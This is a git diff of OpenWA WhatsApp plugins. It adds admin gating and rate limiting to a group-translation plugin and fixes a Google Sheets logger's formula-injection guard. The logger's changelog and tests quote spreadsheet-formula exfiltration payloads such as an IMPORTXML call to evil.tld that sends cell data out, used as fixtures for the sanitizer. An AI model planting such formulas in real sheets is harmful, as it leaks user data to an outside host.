-| **Version** | 1.3.5 | -| **Released** | 2026-08-20 | +| **Version** | 1.3.6 | +| **Released** | 2026-08-25 | | **Status** | stable | | **Author** | Yudhi Armyndharis | | **License** | MIT | | **Type** | `extension` | -| **Requires OpenWA** | ≥ 0.7.0 (tested 0.23.0) | +| **Requires OpenWA** | ≥ 0.8.0 (tested 0.23.3) | | **Keywords** | translation, libretranslate, i18n, groups, whatsapp, openwa | | **Repository** | [OpenWA-plugins/group-translate](https://github.com/rmyndharis/OpenWA-plugins/tree/main/group-translate) | @@ -40,12 +40,12 @@ ## Commands -Default prefix `/tr` (configurable). Read-only commands are open; the rest are admin-only. +Default prefix `/tr` (configurable). `/tr help` is open to anyone; every other command is admin-only. | Command | Who | Effect | | ------- | --- | ------ | -| `/tr help` | anyone | Show the command list | -| `/tr status` | anyone | Show whether translation is on + per-participant languages | +| `/tr help` | anyone | Show the command list (answered at most once a minute per group) | +| `/tr status` | admin | Show whether translation is on + per-participant languages | | `/tr on` · `/tr off` | admin | Enable / disable translation in this group | | `/tr setlang [@user]` | admin | Pin a language (e.g. `/tr setlang id @member`) | | `/tr auto [@user]` | admin | Go back to auto-learning a participant's language | @@ -68,7 +68,7 @@ Default prefix `/tr` (configurable). Read-only commands are open; the rest are a itself — not in this plugin's config — e.g. `SSRF_ALLOWED_HOSTS=localhost,127.0.0.1`. The default `libretranslateUrl` *is* a loopback address, so out of the box the plugin cannot reach its backend until this is done (see [Security](#security)). -3. Have OpenWA **≥ 0.7.0** running with a logged-in WhatsApp session for the group(s) you want to translate. +3. Have OpenWA **≥ 0.8.0** running with a logged-in WhatsApp session for the group(s) you want to translate. 4. Install and enable the plugin (see [Install](#install)), then have a group admin run `/tr on`. Enabling the plugin is silent: it says nothing in any group until someone addresses it with a `/tr` command. It never translates until an admin has run `/tr on` in that specific group, and it @@ -110,10 +110,17 @@ Then, in the group, an admin runs `/tr on`. Or install the packaged `.zip` from ## Compatibility -Targets OpenWA **≥ 0.7.0** — outbound HTTP uses the v0.7 `ctx.net.fetch` capability. Declares +Targets OpenWA **≥ 0.8.0**, the release that introduced `net.allowConfigHosts`. Outbound HTTP itself +uses the v0.7 `ctx.net.fetch` capability, but on a 0.7.x host only the shipped loopback entries are +reachable, so any other `libretranslateUrl` is refused and nothing is translated. Declares `messages:send`, `engine:read` (for admin checks), `net:fetch`, and `storage:use` (each group's settings and learned participant languages). +Shared contact cards are never translated: from OpenWA 0.23.2 a card carries its vCard in the message +body, which would otherwise send a third party's name and number to your translation backend, post a +machine-translated card into the group, and let language detection pin the sender's language from +vCard field names. Poll questions are translated normally. + ### Per-session config **Supported, with a caveat.** Every config field may be overridden per WhatsApp session via the diff --git a/group-translate/core/reply.formatter.ts b/group-translate/core/reply.formatter.ts index 243317c..7e8c892 100644 --- a/group-translate/core/reply.formatter.ts +++ b/group-translate/core/reply.formatter.ts @@ -32,7 +32,7 @@ export function buildHelpText(prefix: string): string { `${prefix} auto [me|@user|number] — go back to auto-detect`, `${prefix} ignore <@user|number> / ${prefix} unignore <@user|number>`, `${prefix} grant <@user|number> / ${prefix} revoke <@user|number> — delegate control (admins)`, - `${prefix} status — show settings`, + `${prefix} status — show settings (admins)`, `${prefix} help — this message`, ].join('\n'); } diff --git a/group-translate/core/translation.coordinator.test.ts b/group-translate/core/translation.coordinator.test.ts index c62d7ed..f7cd43c 100644 --- a/group-translate/core/translation.coordinator.test.ts +++ b/group-translate/core/translation.coordinator.test.ts @@ -117,6 +117,7 @@ function makeDeps(state: GroupState) { detect: { calls: detectCalls, mockResolvedValue: (v: { lang: string; confidence: number }) => { detectImpl = async () => v; }, + mockRejectedValue: (e: unknown) => { detectImpl = () => Promise.reject(e); }, }, translate: { calls: translateCalls, @@ -656,3 +657,70 @@ test('the skip filter still recognises what it is meant to skip', () => { assert.equal(isUrlOrEmojiOnly(translatable), false, `should translate: ${JSON.stringify(translatable)}`); } }); + +test('/tr help answers once per group per window, so a stranger cannot make the bot repeat', async () => { + // The only reply this plugin gives an unauthorized user, and therefore the only command a stranger + // can repeat to make the bot post into the group on every attempt. That is the amplification the + // denial reply is opt-in to withhold, so the open command must be bounded the same way. + const { store, gateway, translator, mocks } = makeDeps(freshState({ announced: true })); + const c = new TranslationCoordinator(translator, store, gateway, OPTS); + + await c.handleMessage('s', msg({ body: '/tr help', author: 'stranger@c.us' })); + assert.equal(mocks.sendText.calls.length, 1, 'the first ask is answered: the command is discoverable'); + + for (let i = 0; i < 5; i++) { + await c.handleMessage('s', msg({ body: '/tr help', author: 'stranger@c.us' })); + } + assert.equal(mocks.sendText.calls.length, 1, 'repeats inside the window post nothing'); + + // A different group is a different bucket: bounding one must not silence another. + await c.handleMessage('s', msg({ body: '/tr help', chatId: 'other@g.us', author: 'stranger@c.us' })); + assert.equal(mocks.sendText.calls.length, 2); +}); + +test('/tr status is admin-gated: it publishes the participant roster', async () => { + // The participant table is this plugin's own access-control state: who is ignored, who holds + // delegated control, and the language learned for each member. It was answered for any member on + // every attempt, which both disclosed that roster and handed back the amplification above. + const state = freshState({ + announced: true, + active: true, + participants: { '111@c.us': { lang: 'en', source: 'pinned', enabled: true, samples: 2, updatedAt: 'x' } }, + }); + const { store, gateway, translator, mocks } = makeDeps(state); + const c = new TranslationCoordinator(translator, store, gateway, OPTS); + + mocks.getGroupAdmins.mockResolvedValue([]); // the sender is not an admin + await c.handleMessage('s', msg({ body: '/tr status', author: 'stranger@c.us' })); + assert.equal(mocks.sendText.calls.length, 0, 'a non-admin gets no roster'); + + mocks.getGroupAdmins.mockResolvedValue(['boss@c.us']); + await c.handleMessage('s', msg({ body: '/tr status', author: 'boss@c.us' })); + assert.equal(mocks.sendText.calls.length, 1, 'an admin still gets it'); +}); + +test('records why a message was left untranslated when detect fails', async () => { + // A dead or unreachable backend used to be indistinguishable from a group with nothing to translate: + // detect() threw, the catch returned, and nothing was written anywhere. The only symptom an operator + // sees is that translation stopped, so the cause has to be recorded where it happens. + const state = freshState({ + announced: true, + active: true, + participants: { + '111@c.us': { lang: 'en', source: 'pinned', enabled: true, samples: 2, updatedAt: 'x' }, + '222@c.us': { lang: 'es', source: 'pinned', enabled: true, samples: 2, updatedAt: 'x' }, + }, + }); + const { store, gateway, translator, logger, mocks } = makeDeps(state); + mocks.detect.mockRejectedValue(new Error('fetch refused: host not on the allowlist')); + const c = new TranslationCoordinator(translator, store, gateway, OPTS, logger); + + await c.handleMessage('s', msg({ body: 'hola a todos', author: '222@c.us' })); + + assert.equal(mocks.translate.calls.length, 0, 'nothing is translated when detection failed'); + const warned = mocks.warn.calls.find( + (c2) => (c2[1] as { action?: string } | undefined)?.action === 'translation_detect_failed', + ); + assert.ok(warned, 'the failure must leave a trace naming why'); + assert.match(String((warned![1] as { error?: string }).error), /allowlist/); +}); diff --git a/group-translate/core/translation.coordinator.ts b/group-translate/core/translation.coordinator.ts index f2e14a6..6310715 100644 --- a/group-translate/core/translation.coordinator.ts +++ b/group-translate/core/translation.coordinator.ts @@ -55,6 +55,13 @@ const NOOP_LOGGER: TranslationLogger = { debug: () => {}, info: () => {}, warn: * needed resolving, so this only fills up in a deployment with many groups and many commanders. */ const MAX_CANONICAL_WIDS = 500; +/** Minimum gap between two `/tr help` answers in the same group. */ +const HELP_COOLDOWN_MS = 60_000; + +/** Cap on the per-group `/tr help` timestamps, mirroring MAX_CANONICAL_WIDS: one entry per group that + * has asked, evicted oldest-first rather than growing without limit. */ +const MAX_HELP_ENTRIES = 500; + /** * Compare two WhatsApp IDs tolerantly: exact match, or same user part ignoring * an `@domain` and any `:device` suffix (e.g. `123@c.us` === `123:7@c.us`). @@ -72,6 +79,10 @@ export class TranslationCoordinator { private readonly locks = new Map>(); /** `${sessionId}:${wid}` -> canonical `@c.us` wid, or null when the host could not resolve it. */ private readonly canonicalWids = new Map(); + /** `${sessionId}:${chatId}` -> epoch ms of the last `/tr help` answer posted there. In memory and per + * coordinator, like the LibreTranslate circuit breaker: a rebuild or a disable/enable clears it, + * which at worst allows one extra answer. */ + private readonly helpAt = new Map(); constructor( private readonly translator: Translator, @@ -139,8 +150,16 @@ export class TranslationCoordinator { let detected: string; try { detected = (await this.translator.detect(text)).lang; - } catch { - return; // translator down — silent skip + } catch (err) { + // Every backend failure lands here: an unreachable instance, a host that refused the fetch + // because libretranslateUrl names something the allowlist does not admit, the SSRF guard blocking + // a loopback address without SSRF_ALLOWED_HOSTS. This used to return with nothing recorded at + // all, so a group that had simply stopped being translated left no trace of why. + this.logger.warn('detect failed; message left untranslated', { + action: 'translation_detect_failed', + error: String(err), + }); + return; } this.applyLearning(sender, detected); @@ -307,11 +326,14 @@ export class TranslationCoordinator { cmd: ParsedCommand, ): Promise { if (cmd.name === 'help') { - await this.gateway.sendText(sessionId, msg.chatId, buildHelpText(this.opts.prefix)); - return; - } - if (cmd.name === 'status') { - await this.gateway.sendText(sessionId, msg.chatId, formatStatus(state, this.translator.isHealthy())); + // The only reply this plugin gives a user it has not authorized, so it is also the only command a + // stranger can repeat to make the bot post into the group on every attempt: exactly the + // amplification the denial reply below is opt-in (denyReply) in order to withhold. Answer once + // per group per window. The command stays discoverable, which is all it is for, and repeating it + // adds nothing the first answer did not already say. + if (this.helpDue(`${sessionId}:${msg.chatId}`)) { + await this.gateway.sendText(sessionId, msg.chatId, buildHelpText(this.opts.prefix)); + } return; } @@ -340,6 +362,13 @@ export class TranslationCoordinator { const targetWid = this.resolveTarget(msg, cmd.target); switch (cmd.name) { + case 'status': + // Behind the same gate as every other command. The participant table is this plugin's own + // access-control state (who is ignored, who holds delegated control, the language learned for + // each member), and answering any member on every attempt both published that roster and gave + // back the amplification `/tr help` is bounded against above. + await this.gateway.sendText(sessionId, msg.chatId, formatStatus(state, this.translator.isHealthy())); + return; case 'on': state.active = true; await this.confirm(sessionId, msg, '✅ Translation activated.', state); @@ -481,6 +510,21 @@ export class TranslationCoordinator { return resolved; } + /** True when a `/tr help` answer is due in `key` (`${sessionId}:${chatId}`), recording the send. + * Bounded the same way as {@link canonicalWid}: oldest-first eviction, never unbounded growth. */ + private helpDue(key: string): boolean { + const now = Date.now(); + const last = this.helpAt.get(key); + if (last !== undefined && now - last < HELP_COOLDOWN_MS) return false; + this.helpAt.delete(key); // re-insert so iteration order tracks recency + this.helpAt.set(key, now); + if (this.helpAt.size > MAX_HELP_ENTRIES) { + const oldest = this.helpAt.keys().next().value; + if (oldest !== undefined) this.helpAt.delete(oldest); + } + return true; + } + /** Memoized {@link ChatGateway.resolveCanonicalWid}. A null (unresolvable) answer is cached too — * retrying it on every command would spend a round-trip per denial on a wid the host cannot map. */ private async canonicalWid(sessionId: string, wid: string): Promise { diff --git a/group-translate/index.test.ts b/group-translate/index.test.ts index b1d4710..ec38f36 100644 --- a/group-translate/index.test.ts +++ b/group-translate/index.test.ts @@ -178,6 +178,66 @@ test("does NOT claim a translated conversational message — a co-installed resp assert.equal(result.continue, true, "conversational content is passed on, translated or not"); }); +// From host 0.23.2 a shared contact card carries its full vCard as the body. Translating one would POST +// a stranger's name and number to the backend, post the machine-translated card back into the group, +// and feed the vCard to language detection, which pins the sender's language on their very first card. +// A poll is deliberately still translated: its question is human-typed prose. +test("a shared contact card is never translated; a poll question still is", async () => { + const seed = { + [GROUP_KEY]: { + sessionId: "s1", + chatId: "group@g.us", + active: true, + participants: { + [AUTHOR]: { lang: "en", source: "pinned", enabled: true, samples: 0, updatedAt: "" }, + "z@s.whatsapp.net": { lang: "id", source: "pinned", enabled: true, samples: 0, updatedAt: "" }, + }, + delegatedControllers: [], + announced: true, + }, + }; + const urls: string[] = []; + const replies: string[] = []; + const { ctx, getHook } = fakeContext( + {}, + { + seed, + net: { + fetch: async (url: string) => { + urls.push(url); + return { + ok: true, + status: 200, + statusText: "", + headers: {}, + body: url.endsWith("/detect") + ? '[{"language":"en","confidence":0.99}]' + : '{"translatedText":"halo dunia"}', + } as PluginNetResponse; + }, + }, + messages: { + sendText: async () => {}, + reply: async (_s: string, _c: string, _q: string, t: string) => void replies.push(t), + }, + }, + ); + const plugin = new TranslationPlugin(); + await plugin.onEnable(ctx); + + const vcard = + "BEGIN:VCARD\nVERSION:3.0\nFN:Budi Santoso\nORG:Toko Berkah\nTEL;TYPE=CELL:+628123456789\nEND:VCARD"; + const card = await getHook()!(engineCtx({ body: vcard, type: "contact" })); + assert.equal(card.continue, true, "a contact card is passed on untouched"); + assert.deepEqual(urls, [], "no vCard may reach the translation backend"); + assert.deepEqual(replies, [], "and no translated card may be posted into the group"); + + const poll = await getHook()!(engineCtx({ body: "hello world", type: "poll" })); + assert.equal(poll.continue, true); + assert.ok(urls.length > 0, "a poll question is prose and is still translated"); + assert.equal(replies.length, 1); +}); + // Regression: the message hook must rebuild the coordinator when a coordinator-affecting config field // changes (per-session override), and must NOT rebuild it when the config is unchanged (preserving the // LibreTranslate client's circuit-breaker state across messages for the same backend). diff --git a/group-translate/index.ts b/group-translate/index.ts index e49c6dd..771beae 100644 --- a/group-translate/index.ts +++ b/group-translate/index.ts @@ -50,6 +50,35 @@ function readTimeoutMs(cfg: Record): number { return Math.min(30_000, Math.max(500, readNumber(cfg, "timeoutMs", 4000))); } +// The host resolves this plugin's outbound allowlist from the RAW config value, refuses the fetch at +// the capability boundary when it cannot use that value, and says nothing on this side. detect() then +// throws, the coordinator skips the message, and an unusable URL is indistinguishable from a group with +// nothing to translate. Name the problem where the value is read. The value itself is left alone: +// rewriting it here would change what this plugin calls without changing what the host admits. +// +// Deliberately NOT an https-only rule, even though the host admits a config-supplied host over https +// only. The shipped default is loopback over http, and a plain-http backend on a non-loopback host is a +// supported install (its host:port added to the manifest net.allow, then repackaged). A plugin cannot +// see its own effective allowlist, so it must not second-guess it. +function backendUrlProblem(url: string): string | null { + let parsed: URL; + try { + parsed = new URL(url); + } catch { + return "is not a URL"; + } + if (parsed.protocol !== "http:" && parsed.protocol !== "https:") { + return "is not an http(s) URL"; + } + // A credentialed value is dropped from the config-derived allowlist outright, so a non-loopback + // backend named this way is refused on every single call. + if (parsed.username || parsed.password) return "carries embedded credentials"; + // The endpoint path is appended to this value, so a query or fragment lands in the middle of the + // request path: "http://host/?lang=en" becomes "http://host/?lang=en/detect". + if (parsed.search || parsed.hash) return "carries a query string or fragment"; + return null; +} + function readNumber( cfg: Record, key: string, @@ -124,8 +153,17 @@ export class TranslationPlugin implements IPlugin { info: (m, meta) => context.logger.log(m, meta), warn: (m, meta) => context.logger.warn(m, meta), }; + const url = readString(cfg, "libretranslateUrl", "http://localhost:7001"); + const problem = backendUrlProblem(url); + if (problem) { + // Never the value itself: this is the one config field an operator may have put a password in. + context.logger.warn( + `libretranslateUrl ${problem}; every translate call will be refused`, + { action: "translation_backend_url_invalid" }, + ); + } const translator = new LibreTranslateClient({ - url: readString(cfg, "libretranslateUrl", "http://localhost:7001"), + url, apiKey: readOptionalString(cfg, "libretranslateApiKey"), timeoutMs: readTimeoutMs(cfg), net: context.net, @@ -164,6 +202,14 @@ export class TranslationPlugin implements IPlugin { if (ctx.source !== "Engine" || !ctx.sessionId) { return { continue: true }; } + // Since host 0.23.2 a shared contact card arrives with its full vCard as the body. Translating one + // POSTs a stranger's name and number to the translation backend, posts the machine-translated card + // back into the group, and feeds the vCard to language detection, which pins the sender's learned + // language on their first card. A poll is deliberately NOT denied here: its question is human-typed + // prose and squarely inside what this plugin exists to translate. + if (msg.type === "contact") { + return { continue: true }; + } // Re-check the config signature against the firing session's resolved config — if a per-session // override changed a coordinator-affecting field, rebuild now. Cheap (a JSON.stringify of a handful // of primitives) and runs only the equality check on the hot path; the rebuild is rare. The swap is diff --git a/group-translate/manifest.json b/group-translate/manifest.json index ad33732..0300b7c 100644 --- a/group-translate/manifest.json +++ b/group-translate/manifest.json @@ -1,7 +1,7 @@ { "id": "group-translate", "name": "Group Auto-Translation", - "version": "1.3.5", + "version": "1.3.6", "type": "extension", "main": "dist/index.js", "description": "Auto-translates group messages between participants' languages via a LibreTranslate backend. Configure in-chat with /tr commands. Admin-gated; disabled until enabled.", @@ -18,8 +18,8 @@ "openwa" ], "status": "stable", - "minOpenWAVersion": "0.7.0", - "testedOpenWAVersion": "0.23.0", + "minOpenWAVersion": "0.8.0", + "testedOpenWAVersion": "0.23.3", "provides": [ "translation" ], diff --git a/gsheets-logger/CHANGELOG.md b/gsheets-logger/CHANGELOG.md index b496b6d..f842863 100644 --- a/gsheets-logger/CHANGELOG.md +++ b/gsheets-logger/CHANGELOG.md @@ -8,6 +8,32 @@ The version here always matches `manifest.json`'s `version`. ## [Unreleased] +## [0.3.8] - 2026-08-25 + +### Fixed + +- A formula that starts with a digit is neutralized. The spreadsheet guard checked only the character + after a leading `+`/`-`, so `-1+IMPORTXML("https://evil.tld/?d="&A2,"//a")` was written unquoted; + Excel and Sheets both parse a cell beginning `-1+` as a formula, and it fires on the CSV round-trip + this guard defends. Phone numbers, negative numbers and messages that merely open with one stay + readable, so nothing legitimate gained an apostrophe. +- A failing flush no longer retries once per inbound message. The batch is restored on failure, so the + buffer stayed at or above `flushBatchSize` and every later message started another append: 30 + messages produced 28 attempts against the `403 SERVICE_DISABLED` the setup guide tells operators to + expect, walking into Google's per-minute write quota. Retries now keep to `flushIntervalSec` until + one succeeds. +- `flushIntervalSec` is capped at 2147483 seconds. Above that the delay overflows Node's 32-bit timer + and silently fires at about 1ms, which is the hot-loop the existing lower bound exists to prevent, + reached from the other end. + +### Changed + +- On the Baileys engine the `body` column is now populated for poll, contact card and button-reply rows + that previously logged an empty body, matching what the whatsapp-web.js engine has always logged. + OpenWA 0.23.2 fills the message body for these shapes. Shared events and button replies are logged + with `type` `unknown`; a poll is `poll` and a contact card is `contact`. +- **Verified against OpenWA v0.23.3** (testedOpenWAVersion 0.23.0 → 0.23.3). + ## [0.3.7] - 2026-08-20 ### Changed diff --git a/gsheets-logger/README.md b/gsheets-logger/README.md index 7a958b9..0905f05 100644 --- a/gsheets-logger/README.md +++ b/gsheets-logger/README.md @@ -14,13 +14,13 @@ | Field | Value | | ----- | ----- | | **Identifier** | `gsheets-logger` | -| **Version** | 0.3.7 | -| **Released** | 2026-08-20 | +| **Version** | 0.3.8 | +| **Released** | 2026-08-25 | | **Status** | stable | | **Author** | Yudhi Armyndharis | | **License** | MIT | | **Type** | `extension` | -| **Requires OpenWA** | ≥ 0.7.0 (tested 0.23.0) | +| **Requires OpenWA** | ≥ 0.7.0 (tested 0.23.3) | | **Keywords** | google-sheets, logging, audit, crm, whatsapp, openwa | | **Repository** | [OpenWA-plugins/gsheets-logger](https://github.com/rmyndharis/OpenWA-plugins/tree/main/gsheets-logger) | @@ -198,7 +198,7 @@ and upload it in the dashboard **Plugins → Install**. | `spreadsheetId` | yes | — | Spreadsheet ID from its URL | | `sheetTab` | no | `Logs` | Target tab name | | `flushIntervalSec` | no | `5` | Seconds between flushes | -| `flushBatchSize` | no | `20` | Flush early once this many rows are buffered | +| `flushBatchSize` | no | `20` | Flush early once this many rows are buffered; paused while a flush is failing, so retries keep to `flushIntervalSec` | The target tab must exist, **with a header row of your choosing** — the plugin appends data rows only. @@ -209,12 +209,16 @@ External plugins run **sandboxed in a worker thread** (since OpenWA **v0.6.0**). SSRF-guarded `ctx.net.fetch` introduced in v0.7, allowlisted to the two fixed Google hosts. Two further capabilities are version-dependent: +- **Richer `body` values from OpenWA ≥ 0.23.2 on the Baileys engine.** Poll questions, shared contact + vCards, event names and tapped button labels now fill the `body` column where they previously logged + an empty string, matching what the whatsapp-web.js engine has always logged. A poll logs `type` as + `poll` and a contact card as `contact`; shared events and button replies log as `unknown`. - **`message:ack` rows** require OpenWA **≥ v0.6.1** (#427). On v0.6.0 the hook was declared but never fired, so ack rows are absent. - **Live config updates** (a `PUT …/config` reaching the running plugin) and **graceful-shutdown buffer - flush** require the sandbox lifecycle follow-ups (#430), **unreleased** (first release after v0.6.1). On - v0.6.0/v0.6.1, a config change needs a disable + re-enable, and a non-graceful exit (SIGKILL/OOM) can - drop rows buffered since the last flush (≤ `flushIntervalSec`). + flush** arrived with the sandbox lifecycle follow-ups (#430) in OpenWA **v0.6.2**, below this plugin's + declared floor, so every supported host has them. A non-graceful exit (SIGKILL, OOM) still bypasses + `onDisable`, so rows buffered since the last flush (at most `flushIntervalSec` worth) are lost. ### Per-session config @@ -235,9 +239,12 @@ evaluates a cell as a formula. As defense-in-depth for CSV export/re-import, cel single quote (`'`) when they start with a formula trigger: - **ID / enum fields** (chatId, from, to, messageId, status, type): full guard — `=` `+` `-` `@` `\t` `\r`. -- **Free-text fields** (body, senderName, error): guard `=` `@` `\t` `\r`, plus a leading `+`/`-` that - is not the start of a number — so a formula like `-IMPORTXML(…)` / `+ HYPERLINK(…)` is quoted while a - phone number (`+62812…`) or a negative number (`-5°C`) is left readable. +- **Free-text fields** (body, senderName, error): guard `=` `@` `\t` `\r`, plus a leading `+`/`-` unless + what follows is a plain number or ordinary prose. `-IMPORTXML(…)`, `+ HYPERLINK(…)` and + `-1+IMPORTXML(…)` are all quoted (a digit after the sign is not a free pass), while a phone number + (`+62 (812) 3456-7890`), a negative number (`-1.5`) and a message that merely opens with one + (`+62812 call me`) stay readable. The discriminator is formula machinery: `(` for a call, `&` for the + string-building an exfiltration needs, `!` for a sheet reference. Every cell is also capped at 50 000 characters (Google Sheets' per-cell limit), so a single oversized message can't fail an append batch and stall logging. diff --git a/gsheets-logger/index.test.ts b/gsheets-logger/index.test.ts index ae8e9f5..cd50f24 100644 --- a/gsheets-logger/index.test.ts +++ b/gsheets-logger/index.test.ts @@ -43,6 +43,17 @@ test('parseConfig floors a sub-second flush interval to >=1s (setInterval hot-lo assert.equal(parseConfig({ ...base, flushIntervalSec: 10 }).config.flushIntervalSec, 10); // sane values unchanged }); +test('parseConfig caps the flush interval below the 32-bit setInterval ceiling', () => { + // setInterval takes a 32-bit millisecond delay. Past 2_147_483s the delay overflows, Node warns, and + // the timer silently fires at ~1ms instead: the same hot-loop the floor above exists to prevent, + // reached from the other end. The host never validates configSchema bounds, so this is the plugin's + // job even though the manifest advertises a max. + const base = { spreadsheetId: 'sid', serviceAccountJson: validSa }; + assert.equal(parseConfig({ ...base, flushIntervalSec: 2_147_483 }).config.flushIntervalSec, 2_147_483); + assert.equal(parseConfig({ ...base, flushIntervalSec: 3_000_000_000 }).config.flushIntervalSec, 2_147_483); + assert.ok(parseConfig({ ...base, flushIntervalSec: 3e9 }).config.flushIntervalSec * 1000 <= 2_147_483_647); +}); + test('flushBuffer clears the buffer on success', async () => { const buffer = [['a'], ['b']]; await flushBuffer(buffer, async () => {}); diff --git a/gsheets-logger/index.ts b/gsheets-logger/index.ts index 91af9cb..aebe4af 100644 --- a/gsheets-logger/index.ts +++ b/gsheets-logger/index.ts @@ -49,7 +49,10 @@ export function parseConfig(raw: Record): { config: LoggerConfi // Clamp to safe positives: a non-numeric interval coerces to NaN, and setInterval(NaN) fires at ~1ms // (a flush hot-loop / Sheets-quota burn). A NaN batch size silently disables the size trigger. A finite - // but sub-second interval (e.g. 0.001) is likewise a hot-loop, so floor it to 1s. + // but sub-second interval (e.g. 0.001) is likewise a hot-loop, so floor it to 1s. The ceiling is the + // same hot-loop from the other end: setInterval takes a 32-bit millisecond delay, so an interval past + // 2_147_483s overflows, warns, and silently fires at ~1ms instead. The host never validates + // configSchema bounds, so the manifest's min/max are advisory and both ends are the plugin's job. const flushIntervalSec = Number(raw.flushIntervalSec ?? 5); const flushBatchSize = Number(raw.flushBatchSize ?? 20); return { @@ -57,7 +60,10 @@ export function parseConfig(raw: Record): { config: LoggerConfi serviceAccountJson, spreadsheetId, sheetTab: String(raw.sheetTab ?? 'Logs'), - flushIntervalSec: Number.isFinite(flushIntervalSec) && flushIntervalSec > 0 ? Math.max(1, flushIntervalSec) : 5, + flushIntervalSec: + Number.isFinite(flushIntervalSec) && flushIntervalSec > 0 + ? Math.min(2_147_483, Math.max(1, flushIntervalSec)) + : 5, flushBatchSize: Number.isFinite(flushBatchSize) && flushBatchSize >= 1 ? flushBatchSize : 20, }, sa, @@ -219,7 +225,12 @@ export default class GSheetsLogger implements IPlugin { if (dropped > 0) { this.ctx?.logger.warn(`gsheets-logger: buffer cap exceeded, dropped ${dropped} oldest rows`); } - if (this.buffer.length >= this.batchSize) void this.flush(); + // Only while flushes are landing. A failed flush restores the whole batch, so the buffer sits at or + // above batchSize and every later message started another append: 30 messages made 28 attempts + // against the 403 the setup guide tells operators to expect, walking straight into Google's + // per-minute write quota. Until one succeeds and clears the error, the timer is the only retry + // path, which is the cadence the README documents. + if (this.buffer.length >= this.batchSize && this.lastFlushError === null) void this.flush(); } // Returns the in-flight flush when one is running, so onDisable can `await this.flush()` and wait diff --git a/gsheets-logger/manifest.json b/gsheets-logger/manifest.json index 275c6b1..40b0fdd 100644 --- a/gsheets-logger/manifest.json +++ b/gsheets-logger/manifest.json @@ -1,7 +1,7 @@ { "id": "gsheets-logger", "name": "Google Sheets Logger", - "version": "0.3.7", + "version": "0.3.8", "type": "extension", "main": "dist/index.js", "description": "Logs WhatsApp message events to a Google Sheet via a service account.", @@ -12,7 +12,7 @@ "keywords": ["google-sheets", "logging", "audit", "crm", "whatsapp", "openwa"], "status": "stable", "minOpenWAVersion": "0.7.0", - "testedOpenWAVersion": "0.23.0", + "testedOpenWAVersion": "0.23.3", "provides": ["message-logging"], "permissions": [ "net:fetch", diff --git a/gsheets-logger/row.test.ts b/gsheets-logger/row.test.ts index 5bc3c89..bc012e8 100644 --- a/gsheets-logger/row.test.ts +++ b/gsheets-logger/row.test.ts @@ -74,6 +74,32 @@ test('free-text quotes a formula-like leading +/- but preserves a phone/number; assert.equal(row[6], 'me'); // benign id untouched }); +test('a formula that starts with a digit is quoted, unlike a phone number or a negative measurement', () => { + // Testing only the character right after the sign passed anything beginning with a digit, so a live + // formula like `-1+IMPORTXML(...)` reached the sheet unquoted. Excel and Sheets both parse a cell + // beginning `-1+` as a formula, and on the CSV round-trip this guard exists to defend, it fires. + const row = buildRow({ + event: 'message:received', sessionId: 's1', timestamp: T, source: 'Engine', + data: { id: 'M9', from: 'x', to: 'y', chatId: 'c', type: 'text', fromMe: false, isGroup: false, + body: '-1+IMPORTXML("https://evil.tld/?d="&A2,"//a")', + contact: { pushName: '+1+HYPERLINK("http://evil","x")' } }, + }); + assert.equal(row[10], `'-1+IMPORTXML("https://evil.tld/?d="&A2,"//a")`, 'digit after the sign is not a pass'); + assert.equal(row[7], `'+1+HYPERLINK("http://evil","x")`); +}); + +test('a phone number keeps its brackets and a message after a phone number stays readable', () => { + // The two shapes the digit rule exists to protect. Neither carries formula machinery, so neither is + // quoted, and an operator reading the sheet sees what the contact actually sent. + const row = buildRow({ + event: 'message:received', sessionId: 's1', timestamp: T, source: 'Engine', + data: { id: 'M9', from: 'x', to: 'y', chatId: 'c', type: 'text', fromMe: false, isGroup: false, + body: '+62 (812) 3456-7890', contact: { pushName: '-1.5' } }, + }); + assert.equal(row[10], '+62 (812) 3456-7890'); + assert.equal(row[7], '-1.5'); +}); + test('free-text keeps a negative number but quotes plus-then-space-then-formula', () => { const row = buildRow({ event: 'message:received', sessionId: 's1', timestamp: T, source: 'Engine', diff --git a/gsheets-logger/row.ts b/gsheets-logger/row.ts index da5c2eb..33f9593 100644 --- a/gsheets-logger/row.ts +++ b/gsheets-logger/row.ts @@ -37,13 +37,28 @@ function strId(value: unknown): string { return cap(/^[=+\-@\t\r]/.test(s) ? `'${s}` : s); } -// `strText` is for free-text fields (message body, sender name, error). A leading `+`/`-` is quoted -// only when it is NOT the start of a number (`(?![\d.])`), so a phone number "+62812…" or "-5°C" stays -// readable while a formula like "-IMPORTXML(…)" / "+ HYPERLINK(…)" is neutralized. `=` and `@` (plus -// tab/CR) never start normal prose and are always guarded. +// `strText` is for free-text fields (message body, sender name, error). `=` and `@` (plus tab/CR) never +// start normal prose and are always guarded. A leading `+`/`-` is the awkward one, because a phone +// number and a formula both start that way, so it is decided by what FOLLOWS the sign: +// +// pure number punctuation -> never quoted "+62 (812) 3456-7890", "-1.5" +// starts with a non-digit -> quoted "-IMPORTXML(…)", "+ HYPERLINK(…)" +// digit, then ( & or ! -> quoted "-1+IMPORTXML(…)", "+1+HYPERLINK(…)" +// digit, then plain prose -> never quoted "+62812 call me", "-5 degrees today" +// +// Testing only the single character after the sign passed anything that began with a digit, so +// "-1+IMPORTXML(…)" was written unquoted: a live formula that merely starts like a number. Requiring +// the whole remainder to be numeric would have closed that but quoted ordinary messages beginning with +// a phone number, which two earlier changes deliberately made readable. Formula machinery is the +// discriminator instead: a call needs `(`, exfiltration needs `&` to build its URL, and `!` is a sheet +// reference. None of the three appears in a phone number that is not already all digits and brackets. function strText(value: unknown): string { const s = value == null ? '' : String(value); - return cap(/^[=@\t\r]/.test(s) || /^[+\-](?![\d.])/.test(s) ? `'${s}` : s); + if (/^[=@\t\r]/.test(s)) return cap(`'${s}`); + if (!/^[+\-]/.test(s)) return cap(s); + const rest = s.slice(1); + if (/^[\d\s().\-]*$/.test(rest)) return cap(s); // a number or a phone, never a formula + return cap(/^[^\d.]/.test(rest) || /[(&!]/.test(rest) ? `'${s}` : s); } export function buildRow(ctx: HookContext): string[] { diff --git a/http-action/CHANGELOG.md b/http-action/CHANGELOG.md index d724356..d2dbdd9 100644 --- a/http-action/CHANGELOG.md +++ b/http-action/CHANGELOG.md @@ -5,6 +5,31 @@ and the top entry's version must match `manifest.json`. ## [Unreleased] +## [0.2.7] - 2026-08-25 + +### Changed + +- Dedup markers are stored in a fixed number of sharded keys rather than one key per answered message. + The host re-measures its storage quota by stat-ing every key on every write, synchronously, on the + gateway event loop, so a busy install (about 86,000 markers inside the 3-day window at 20 commands a + minute) made every write in every plugin on the gateway stat that many files. Markers written before + this 